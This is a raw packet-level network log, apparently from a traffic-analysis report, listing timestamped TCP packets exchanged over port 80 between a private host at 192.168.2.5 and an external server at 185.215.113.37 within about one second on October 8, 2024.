Oct 8, 2024 22:32:08.805433035 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.805454969 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.805474043 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.805488110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.805497885 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.805522919 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.805531979 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.805557966 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.805567026 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.805593014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.805602074 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.805627108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.805638075 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.805663109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.805672884 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.805696011 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.805706978 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.805732965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.805742025 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.805771112 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.805779934 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.805807114 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.805815935 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.805840969 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.805854082 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.805875063 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.805885077 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.805911064 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.805919886 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.805943966 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.805953979 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.805977106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.805986881 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.806011915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.806020975 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.806047916 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.806056976 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.806083918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.806097984 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.806123972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.806133032 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.806159973 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.806168079 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.806195021 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.806204081 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.806237936 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.850657940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.850709915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.850820065 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.850820065 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.936036110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.936089039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.936125040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.936125994 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.936144114 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.936157942 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.936177969 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.936192989 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.936213970 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.936225891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.936244965 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.936273098 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.936289072 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.936336994 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.936338902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.936373949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.936386108 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.936408043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.936428070 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.936441898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.936467886 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.936475039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.936489105 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.936508894 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.936526060 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.936542988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.936563969 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.936577082 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.936598063 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.936614037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.936630964 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.936666012 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.936731100 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.936779976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.936783075 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.936815023 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.936832905 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.936850071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.936866045 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.936883926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.936899900 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.936916113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.936935902 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.936950922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.936969042 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.936984062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.937001944 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.937019110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.937036037 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.937052011 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.937071085 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.937087059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.937104940 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.937120914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.937139988 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.937155962 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.937172890 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.937190056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.937207937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.937225103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.937242985 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.937258005 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.937275887 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.937295914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.937310934 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.937347889 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.937347889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.937382936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.937400103 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.937417984 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.937453032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.937488079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.937505960 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.937525034 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.937551022 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.937558889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.937572956 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.937593937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.937614918 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.937628984 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.937683105 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.937727928 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.937740088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.937769890 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.937774897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.937794924 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.937808037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.937828064 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.937841892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.937860012 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.937880993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.937896013 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.937916040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.937931061 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.937949896 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.937962055 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.937985897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.938003063 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.938019991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.938036919 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.938054085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.938071012 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.938086987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.938103914 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.938122034 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.938141108 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.938154936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.938170910 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.938188076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.938205004 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.938221931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.938242912 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.938256979 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.938273907 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.938293934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.938308001 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.938328981 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.938345909 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.938363075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.938379049 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.938396931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.938415051 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.938554049 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.938559055 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.938591003 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.938602924 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.938620090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.938642025 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.938652992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.938672066 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.938688993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.938707113 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.938721895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.938739061 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.938762903 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.938775063 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.938796043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.938817978 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.938829899 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.938843966 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.938863993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.938880920 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.938899040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.938915968 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.938931942 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.938949108 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.938966036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.938982964 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.938997984 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.939014912 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.939033031 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.939049006 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.939068079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.939085007 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.939102888 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.939119101 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.939156055 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.939156055 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.939189911 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.939205885 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.939223051 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.939239979 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.939258099 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.939273119 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.939294100 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.939308882 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.939327002 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.939342976 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.939359903 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.939378023 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.939410925 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.939429998 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.939465046 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.939483881 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.939500093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.939513922 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.939534903 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.939551115 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.939569950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.939585924 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.939603090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.939619064 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.939637899 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.939652920 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.939671993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.939688921 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.939706087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.939721107 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.939742088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.939759970 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.939774990 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.939795971 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.939810038 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.939824104 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.939843893 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.939858913 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.939877987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.939897060 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.939912081 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.939928055 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.939946890 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.939963102 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.939985037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.940000057 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.940018892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.940035105 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.940053940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.940069914 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.940088987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.940103054 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.940124035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.940141916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.940159082 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.940176010 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.940192938 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.940208912 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.940228939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.940246105 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.940264940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:08.940278053 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:08.940314054 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.026623964 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.026680946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.026695013 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.026732922 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.026736975 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.026772022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.026783943 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.026806116 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.026818037 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.026839972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.026849031 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.026886940 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.026932001 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.026977062 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.026983976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.027029991 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.027049065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.027082920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.027096033 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.027117014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.027127981 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.027152061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.027162075 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.027187109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.027199984 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.027220964 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.027234077 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.027266026 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.027273893 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.027308941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.027319908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.027344942 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.027355909 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.027379990 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.027401924 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.027429104 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.027442932 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.027477026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.027493000 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.027512074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.027523994 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.027545929 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.027559042 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.027581930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.027592897 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.027617931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.027627945 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.027652979 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.027667046 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.027688026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.027699947 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.027721882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.027734041 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.027759075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.027767897 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.027792931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.027805090 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.027827024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.027837992 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.027862072 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.027873039 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.027895927 CEST	80	49704	185.215.113.37	192.168.2.5
